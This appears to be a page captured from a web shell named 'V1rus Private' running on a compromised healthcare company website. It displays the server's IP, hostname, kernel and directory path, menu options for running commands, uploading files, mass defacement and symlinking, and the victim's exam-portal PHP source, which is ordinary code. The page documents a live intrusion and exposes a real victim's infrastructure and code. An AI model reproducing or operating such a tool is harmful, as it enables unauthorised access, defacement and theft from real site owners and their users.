V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
exam
/
Viewing: take_exam.php
<?php include 'config.php'; if (!isset($_SESSION['student_id'])) { header("Location: login.php"); exit(); } $category_id = $_GET['category_id'] ?? null; if (!$category_id) { header("Location: student_dashboard.php"); exit(); } // Get category details $stmt = $pdo->prepare("SELECT * FROM categories WHERE id = ?"); $stmt->execute([$category_id]); $category = $stmt->fetch(); if (!$category) { die("Category not found."); } // Create or get existing exam $stmt = $pdo->prepare("SELECT * FROM exams WHERE student_id = ? AND category_id = ? AND status = 'pending'"); $stmt->execute([$_SESSION['student_id'], $category_id]); $exam = $stmt->fetch(); if (!$exam) { $stmt = $pdo->prepare("INSERT INTO exams (student_id, category_id, started_at) VALUES (?, ?, NOW())"); $stmt->execute([$_SESSION['student_id'], $category_id]); $exam_id = $pdo->lastInsertId(); } else { $exam_id = $exam['id']; } // Get questions - FIXED: Using proper parameter binding for LIMIT $limit = (int)$category['total_questions']; $stmt = $pdo->prepare("SELECT * FROM questions WHERE category_id = ? ORDER BY RAND() LIMIT " . $limit); $stmt->execute([$category_id]); $questions = $stmt->fetchAll(); if (empty($questions)) { die("No questions available for this category. Please contact administrator."); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Taking Exam - <?php echo $category['name']; ?></title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> <style> .exam-header { background: #343a40; color: white; padding: 15px 0; position: sticky; top: 0; z-index: 1000; } .timer-critical { color: #dc3545; animation: blink 1s infinite; } @keyframes blink { 50% { opacity: 0.5; } } .question-card { margin-bottom: 20px; border-left: 4px solid #007bff; display: none; } .question-card.active { display: block; } .option-label { cursor: pointer; padding: 15px; margin: 10px 0; border: 2px solid #dee2e6; border-radius: 10px; transition: all 0.3s ease; background: white; } .option-label:hover { background: #f8f9fa; border-color: #007bff; } .option-label.selected { background: #007bff; color: white; border-color: #007bff; } .option-label.correct { background: #28a745; color: white; border-color: #28a745; } .option-label.incorrect { background: #dc3545; color: white; border-color: #dc3545; } .question-nav { position: fixed; right: 20px; top: 50%; transform: translateY(-50%); background: white; padding: 15px; border-radius: 10px; box-shadow: 0 4px 15px rgba(0,0,0,0.1); } .nav-btn { width: 40px; height: 40px; margin: 5px; border: 2px solid #007bff; background: white; color: #007bff; border-radius: 5px; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: all 0.3s ease; font-weight: bold; } .nav-btn.answered { background: #28a745; border-color: #28a745; color: white; } .nav-btn.current { background: #007bff; color: white; } .nav-btn.unanswered { background: #ffc107; border-color: #ffc107; color: white; } .progress-bar { transition: width 0.3s ease; } </style> </head> <body> <!-- Exam Header --> <div class="exam-header"> <div class="container"> <div class="row align-items-center"> <div class="col-md-4"> <h5 class="mb-0"> <i class="fas fa-file-alt"></i> <?php echo htmlspecialchars($category['name']); ?> </h5> </div> <div class="col-md-8"> <div class="d-flex justify-content-between align-items-center"> <div class="me-4"> <strong>Progress: </strong> <span id="progressText">1/<?php echo count($questions); ?></span> </div> <div class="me-4"> <strong>Time Left: </strong> <span id="timer" class="fw-bold"><?php echo $category['exam_duration']; ?>:00</span> </div> <div class="progress me-4" style="width: 200px; height: 10px;"> <div id="timeProgress" class="progress-bar bg-success" role="progressbar" style="width: 100%"></div> </div> <button class="btn btn-warning btn-sm" onclick="submitExam()"> <i class="fas fa-paper-plane"></i> Submit Exam </button> </div> </div> </div> </div> </div> <div class="container mt-4"> <div class="row"> <div class="col-md-9"> <form id="examForm"> <input type="hidden" name="exam_id" value="<?php echo $exam_id; ?>"> <?php foreach ($questions as $index => $question): ?> <div class="question-card card mb-4 <?php echo $index === 0 ? 'active' : ''; ?>" id="question-<?php echo $index + 1; ?>" data-question-id="<?php echo $question['id']; ?>"> <div class="card-header bg-light d-flex justify-content-between align-items-center"> <h6 class="mb-0">Question <?php echo $index + 1; ?> of <?php echo count($questions); ?></h6> <span class="badge bg-primary"><?php echo $question['marks']; ?> mark(s)</span> </div> <div class="card-body"> <p class="question-text fw-bold fs-5"><?php echo htmlspecialchars($question['question_text']); ?></p> <div class="options mt-4"> <?php for ($i = 1; $i <= 4; $i++): ?> <div class="option-label" onclick="selectOption(<?php echo $index + 1; ?>, <?php echo $i; ?>, <?php echo $question['id']; ?>)" id="option-<?php echo $index + 1; ?>-<?php echo $i; ?>"> <div class="d-flex align-items-center"> <div class="option-letter me-3 fw-bold"><?php echo chr(64 + $i); ?>.</div> <div class="option-text"><?php echo htmlspecialchars($question['option' . $i]); ?></div> </div> </div> <?php endfor; ?> </div> </div> <div class="card-footer bg-transparent"> <div class="d-flex justify-content-between"> <button type="button" class="btn btn-secondary" onclick="prevQuestion()" <?php echo $index === 0 ? 'disabled' : ''; ?>> <i class="fas fa-arrow-left"></i> Previous </button> <button type="button" class="btn btn-primary" onclick="nextQuestion()" <?php echo $index === count($questions) - 1 ? 'disabled' : ''; ?>> Next <i class="fas fa-arrow-right"></i> </button> </div> </div> </div> <?php endforeach; ?> </form> </div> <!-- Question Navigation --> <div class="col-md-3"> <div class="card sticky-top" style="top: 100px;"> <div class="card-header bg-primary text-white"> <h6 class="mb-0"><i class="fas fa-list"></i> Question Navigation</h6> </div> <div class="card-body"> <div class="row g-2" id="questionNav"> <?php for ($i = 1; $i <= count($questions); $i++): ?> <div class="col-3 col-sm-2"> <div class="nav-btn <?php echo $i == 1 ? 'current' : 'unanswered'; ?>" onclick="showQuestion(<?php echo $i; ?>)" id="nav-<?php echo $i; ?>" data-question="<?php echo $i; ?>"> <?php echo $i; ?> </div> </div> <?php endfor; ?> </div> <div class="mt-4"> <h6>Legend:</h6> <div class="d-flex align-items-center mb-2"> <div class="nav-btn current me-2" style="width: 20px; height: 20px;"></div> <small>Current</small> </div> <div class="d-flex align-items-center mb-2"> <div class="nav-btn answered me-2" style="width: 20px; height: 20px;"></div> <small>Answered</small> </div> <div class="d-flex align-items-center"> <div class="nav-btn unanswered me-2" style="width: 20px; height: 20px;"></div> <small>Unanswered</small> </div> </div> <div class="mt-4"> <div class="d-grid"> <button class="btn btn-success" onclick="submitExam()"> <i class="fas fa-paper-plane"></i> Submit Exam </button> </div> <small class="text-muted d-block text-center mt-2"> Auto-submits when time expires </small> </div> </div> </div> </div> </div> </div> <!-- Confirmation Modal --> <div class="modal fade" id="submitModal" tabindex="-1"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Submit Exam</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <p>Are you sure you want to submit your exam?</p> <div class="alert alert-warning"> <i class="fas fa-exclamation-triangle"></i> <strong>Warning:</strong> You cannot change your answers after submission. </div> <div id="answerSummary"> <strong>Answers Summary:</strong><br> <span id="answeredCount">0</span> of <?php echo count($questions); ?> questions answered </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="button" class="btn btn-primary" onclick="confirmSubmit()">Submit Exam</button> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script> let currentQuestion = 1; const totalQuestions = <?php echo count($questions); ?>; let examDuration = <?php echo $category['exam_duration'] * 60; ?>; // in seconds let timeLeft = examDuration; let timerInterval; let answers = {}; let answeredCount = 0; // Timer functionality function startTimer() { timerInterval = setInterval(function() { timeLeft--; if (timeLeft <= 0) { clearInterval(timerInterval); autoSubmitExam(); return; } // Update timer display const minutes = Math.floor(timeLeft / 60); const seconds = timeLeft % 60; const timerText = `${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`; document.getElementById('timer').textContent = timerText; // Update progress bar const progressPercent = (timeLeft / examDuration) * 100; document.getElementById('timeProgress').style.width = progressPercent + '%'; // Change color when time is running out if (timeLeft <= 300) { // 5 minutes document.getElementById('timeProgress').className = 'progress-bar bg-warning'; document.getElementById('timer').className = 'fw-bold text-warning'; } if (timeLeft <= 60) { // 1 minute document.getElementById('timeProgress').className = 'progress-bar bg-danger'; document.getElementById('timer').className = 'fw-bold timer-critical'; } }, 1000); } // Question navigation function showQuestion(questionNum) { // Hide current question document.querySelector('.question-card.active').classList.remove('active'); document.getElementById(`nav-${currentQuestion}`).classList.remove('current'); // Show new question document.getElementById(`question-${questionNum}`).classList.add('active'); document.getElementById(`nav-${questionNum}`).classList.add('current'); // Update current question currentQuestion = questionNum; updateProgress(); } function nextQuestion() { if (currentQuestion < totalQuestions) { showQuestion(currentQuestion + 1); } } function prevQuestion() { if (currentQuestion > 1) { showQuestion(currentQuestion - 1); } } // Update progress function updateProgress() { document.getElementById('progressText').textContent = currentQuestion + '/' + totalQuestions; } // Option selection function selectOption(questionNum, optionNum, questionId) { answers[questionId] = optionNum; // Update UI const questionElement = document.getElementById(`question-${questionNum}`); const optionLabels = questionElement.querySelectorAll('.option-label'); optionLabels.forEach(label => { label.classList.remove('selected'); }); const selectedLabel = document.getElementById(`option-${questionNum}-${optionNum}`); selectedLabel.classList.add('selected'); // Update navigation const navBtn = document.getElementById(`nav-${questionNum}`); navBtn.classList.remove('unanswered'); navBtn.classList.add('answered'); // Update answered count answeredCount = Object.keys(answers).length; updateAnswerSummary(); } // Update answer summary for modal function updateAnswerSummary() { document.getElementById('answeredCount').textContent = answeredCount; } // Exam submission function submitExam() { updateAnswerSummary(); const submitModal = new bootstrap.Modal(document.getElementById('submitModal')); submitModal.show(); } function confirmSubmit() { clearInterval(timerInterval); $('#submitModal').modal('hide'); const formData = new FormData(); formData.append('exam_id', <?php echo $exam_id; ?>); formData.append('time_taken', examDuration - timeLeft); formData.append('answers', JSON.stringify(answers)); // Show loading state document.body.innerHTML = ` <div class="container mt-5"> <div class="row justify-content-center"> <div class="col-md-6 text-center"> <div class="spinner-border text-primary mb-3" role="status"> <span class="visually-hidden">Loading...</span> </div> <h4>Submitting Exam...</h4> <p>Please wait while we process your results.</p> </div> </div> </div> `; fetch('submit_exam.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { if (data.success) { window.location.href = 'exam_result.php?exam_id=' + data.exam_id; } else { alert('Error submitting exam: ' + data.message); window.location.href = 'student_dashboard.php'; } }) .catch(error => { console.error('Error:', error); alert('Error submitting exam. Please try again.'); window.location.href = 'student_dashboard.php'; }); } function autoSubmitExam() { // Auto-submit when time expires const formData = new FormData(); formData.append('exam_id', <?php echo $exam_id; ?>); formData.append('time_taken', examDuration); formData.append('answers', JSON.stringify(answers)); fetch('submit_exam.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { window.location.href = 'exam_result.php?exam_id=' + data.exam_id; }); } // Keyboard navigation document.addEventListener('keydown', function(event) { if (event.key === 'ArrowRight') { nextQuestion(); } else if (event.key === 'ArrowLeft') { prevQuestion(); } else if (event.key >= '1' && event.key <= '4') { const currentQuestionId = document.querySelector('.question-card.active').dataset.questionId; selectOption(currentQuestion, parseInt(event.key), currentQuestionId); } }); // Start timer when page loads window.onload = function() { startTimer(); updateProgress(); updateAnswerSummary(); }; // Prevent accidental navigation window.addEventListener('beforeunload', function(event) { if (timeLeft > 0) { event.preventDefault(); event.returnValue = 'Your exam progress will be lost if you leave this page. Are you sure?'; } }); </script> </body> </html>
Coded With 💗 by
HanzOFC